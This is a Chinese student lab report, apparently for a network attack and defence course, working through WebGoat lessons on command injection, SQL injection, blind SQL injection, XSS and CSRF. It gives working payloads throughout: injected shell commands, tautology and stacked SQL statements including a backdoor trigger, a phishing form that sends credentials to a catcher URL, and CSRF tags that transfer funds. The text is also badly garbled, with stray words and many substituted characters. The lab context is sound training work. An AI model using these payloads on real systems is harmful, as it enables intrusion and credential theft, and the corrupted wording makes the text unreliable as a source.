本实践的目标理解经常使用网络攻击技术的基本原理,作很多于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。javascript
(1)SQL注入攻击原理,如何防护html
''
、--
,#
等特殊字符,实现将某些语句注释掉,或是构造永真式,实现登陆的目的。''
、--
或是#
的符号。(2)XSS攻击的原理,如何防护前端
(3)CSRF攻击原理,如何防护java
记住密码
,避免cookie的出现。WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来讲明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操做隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
step1 检查端口:因为WebGoat是使用8080
端口进行工做的,因此使用前,要检查该端口是否被占用。git
netstat -tupln | grep 8080
来检查端口是否被占用。kill 进程号
终止占用8080端口的进程。step2 下载并安装WebGoat:github
java -version
查看jdk版本step3 开启并登陆:web
开启WebGoat:进入存在刚刚下载的webgoat-container-7.0.1-war-exec.jar
包的目录,输入java jar webgoat-container-7.0.1-war-exec.jar
进行开启。
在看到Starting ProtocolHandler ["http-bio-8080"]
这一条消息以后就代表开启成功了。sql
登陆Webgoat:数据库
http://localhost:8080/WebGoat
,如图所示,在登陆框下面表格中有两组用户名和密码,能够直接登陆。原理:在正常的参数提交过程当中添加恶意代码,以执行某条命令。 目标:能够在主机上执行任何系统命令。
在左侧点击Injection Flaws
-> Command Injection
后端
咱们能够选择第一个AccessControlMatrix.help
,点击view
,看到以下执行结果。
接下来,咱们作一下注入攻击,但愿仍是选择该选项,增长检查端口状态
和查询链接端口主机的IP地址的功能
。
右键点击复选框,选择Inspect Element
来审查网页元素,对源代码进行修改,咱们能够在相应选项的末尾后面添加"& netstat -an & ipconfig
。
view
,咱们能够看到相应的端口及链接端口的主机,攻击成功。原理:经过在字段中注入数字型数据(例如永真式),从而达到注入攻击的效果。 目标:本次实践中经过注入SQL字符达到查看全部城市的天气预报的效果。
在左侧点击Injection Flaws
-> Numeric SQL Injection
一样,右侧点击复选框,选择inspect Element
审查元素。此次,咱们但愿查询全部城市的天气预报,因此,咱们要让网页前端传给后台的value值为永真式,才能达到迷惑后台,查询全部城市的效果。因此,咱们要在value="101"
中的101
后面添加or 1=1
,使得value值
为 一个永真式。
Go
,出现绿对勾
,说明咱们攻击成功,同时也能够看到全部城市的天气。原理:经过在日志中插入脚本实现欺骗,攻击者能够利用这种方式清除他们在日志中的痕迹。 本次实践目标:用户登陆后下方日志会显示其在以前的全部行为,咱们经过日志欺骗,让用户登陆时下方只显示成功登陆。
在左侧点击Injection Flaws
-> Log Spoofing
咱们就以前打开WebGoat时表格上显示的用户webgoat
进行攻击。
在User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
,利用回车%0D
和空格%0A
让其在日志中两行显示。
随后,咱们输入密码(在以前表格中有)后,点击Login
,能够看到webgoat
在Login Fail
那行中显示,咱们本身添加的语句在下一行中显示。
admin <script>alert(document.cookie)</script>
,管理员能够看到弹窗的cookie信息。本次实践目标:基于查询语句利用字符串型追方式构造本身的SQL,从而达到将全部信用卡信息显示出来的目的。
在左侧点击Injection Flaws
-> String SQL Injection
下面咱们来构造SQL语句,咱们能够随便选一个用户名(这个没有关系,咱们要注入永真式,用户名正确与否无关)例如Smith
,咱们知道正常的SQL搜索语句为select * FROM user_data WHERE last_name='Smith'
,咱们利用'
提早闭合''
,而且加上or 1=1 --
,or 1=1
是使这段语句变成永真式,--
语句是为了把后面的语句注释掉。这就造成了select * FROM user_data WHERE last_name='Smith' or 1=1 --
。
随后,咱们点击Go!
,结果以下:
本次实践目标:经过使用SQL注入绕事后台进行攻击。
' or 1=1 --
进行登陆。inpect Elements
,对元素长度进行修改。' or 1=1 --
,登陆成功。原理:数据库一般做为一个 Web 应用程序的后端来使用。此外,它也用来做为存储的媒介。 它也能够被用来做为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操做,如 insert, select, update or delete。举个例子:攻击者能够建立一个触发器, 该触发器在建立新用户时,将每一个新用户的 Email 地址设置为攻击者的地址。
101
,能够输入101
来查看用户的信息。经过界面,咱们能够看到输入的语句没有通过任何验证,很容易进行SQL注入。
好比,咱们注入一段SQL语句,将101
用户中的salary
这一项改成10000
,输入101; update employee set salary=10000
,修改为功。
john@hackme.com
,输入语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
,咱们能够看到注入成功。原理:某些SQL注入是没有明确的返回信息的,只能经过条件的“真”和“假”来进行判断,攻击者必须充分利用查询语句来构造子查询语句。 该题目要求:根据数字型盲注入,查找pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。 方法:该网站只能输入一个帐号,判断该帐号是否合法,使用该表单的返回信息(真或假)来测试数据库中其余条目的信息。咱们找到了pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为整型,输入找到的数值并提交,经过改题目。
在该题目中,服务端的信息只有两种:无效或有效,所以咱们并不能简单地查到账号的PIN值。尽管如此,咱们一样能够利用系统在后台的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;
,在账号后面加入AND 查询语句
,若是页面返回账号有效,则表明咱们的查询语句是正确的,若是提示查询无效,则咱们的查询语句是错误的。
例如,咱们利用账号101
,输入101 AND 1=1
,如图,页面返回Account number is valid
,由于1=1
是永真式,因此,语句的结果是正确的,页面返回的结果是帐号正确的。
101 AND 1=2
,由于1=2
是一个结果为假的表达式,因此,语句的结果是错误的,页面返回的结果是帐号错误。咱们能够利用这一点进行查询。
针对AND
后面的语句,咱们开始构造SQL的查询语句。首先,咱们判断一下pin值是否大于7000,咱们输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
。若是页面返回账号有效,则pin值就是大于7000.若是返回账号无效,则pin值小于或等于7000。由此,咱们能够利用二分法进行判断。
通过咱们的判断,pin值为2364
,在输入框中输入2364
,提交,正确。
题目要求:到```pins```表中```cc_number```字段值为4321432143214321的记录中```pin字段```的数值。```pin字段```类型为```varchar```。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
与上一题目不一样的是本题目查询的为字符串,咱们须要用到Substring()
方法,语法为SUBSTRING(STRING,START,LENGTH)
。
咱们输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )
来获取pin的第一个字符,并判断其是否比M
小。
一样,通过二分法的测试,咱们判断出了pin值为Jill
。
XSS是一种常常出如今web应用中的计算机安全漏洞,它容许恶意web用户将代码植入到提供给其它用户使用的页面中,还能够任意构造用户当前浏览的HTML内容,从而模拟用户当前的操做。这里实验的是一种获取用户名和密码的攻击。
原理:在XSS的帮助下,咱们能够实现钓鱼工具或向某些其余官方页面中增长内容,由于脚本在后台,受害者很难发现。 题目目标:建立一个form表单,让受害者填入用户名和密码,在后台中加入脚本,使服务器获取用户名和密码后传给攻击者。
<form name="justice"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form>
Search
框中输入该代码,则在下面出现输入用户名和密码的表单。WebGoat
。<script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value); } </script>
<script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value); } </script> <form name="justice"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form>
在Search
框中输入该代码,则出现表单。
输入用户名和密码后,咱们能够看到服务器返回登陆名和密码。
原理:用户在表单中输入一段javascript脚本,这段脚本就会被保存在数据库中,当任何用户打开网页时,脚本就会从数据库中提取出来运行。 实践目的:写入非法消息内容,致使其余用户访问时载入非预期的页面和内容。
在Message中输入咱们构造的语句<script>alert("20165203 attack successfully!");</script>
,Title能够任意输入,在这里输入学号5203
。提交后,能够发现咱们刚刚发的帖子5203
。
点击这个帖子,就会发现弹出咱们注入的那句话20165203 attack successfully!
,攻击成功。
原理:攻击者利用一个脚本建立一个URL,受害者一旦点击它就会受到攻击。
Enter your three digit access code:
栏中输入脚本<script>alert("Hey! You've been attacked!");</script>
,点击Purchase
,成功显示警告框,内容就是咱们在脚本中注入的内容。原理:假装来自受信任用户的请求来利用受信任的网站。 目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。能够经过在右侧插入的参数中找到“Screen”和“menu”值来构造连接。当通过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
查看页面右侧Parameters
中的src
和menu
值,分别为319和900。
在title
中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=319&menu=900&transferFunds=5000" width="1" height="1" />
,该连接将以图片的形式(宽和高均设为1是为了隐藏该图片)放入Message
框,用户一旦点击这个图片,就会触发一个CSRF事件(转走用户的5000元),从而达到攻击的目的。
原理:CSRF一般是欺骗用户加载包含“伪造请求”的连接,从而达到获取用户的信息,利用这些信息去执行其余行为。可是若是连接有提示,提示“确认”或“取消”,那攻击就很难完成了。咱们能够发出另外一个连接,来达到绕过这个提示符的目的。 题目目标:与上一个题目相似,向新闻组发送多个包含恶意请求的连接,第一个连接是请求用于转移资金的,第二个是用于确认第一个请求触发的提示符,此次咱们把连接伪形成一个屏幕,屏幕的参数```srceen```和```menu```右边的```Parameters```已经给出,咱们一个连接经过参数```transferFunds=5000```来传输,另外一个连接经过```transferFunds=CONTNETS```来传输,假如受害者收到了连接,又刚好点开了这两个连接经过了身份验证,则他的资金就会被转移。```
查看页面右侧的Parameters
中的src = 328
和menu=900
.
在title
中输入消息的名字,在Message
中输入代码:
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
Submit
,如图所示,攻击成功。本次实践是在Webgoat上完成的,根据指导,加深了我对SQL注入、XSS和CSRF的理解,正如老师说的那样,咱们必定要知道本身目前在作什么操做,目的是什么,才能更好地理解整个攻击的脉络。
本次实验是最后一次实验了,虽然因为本身在学期末忙碌,因此放弃了免考的机会,可是咱们对网络对抗的探索没有中止,本身经过本学期的实验确实加强了自主学习的能力和动手的能力,但愿本身好好回顾本学期的知识,在期末考试中考一个好成绩。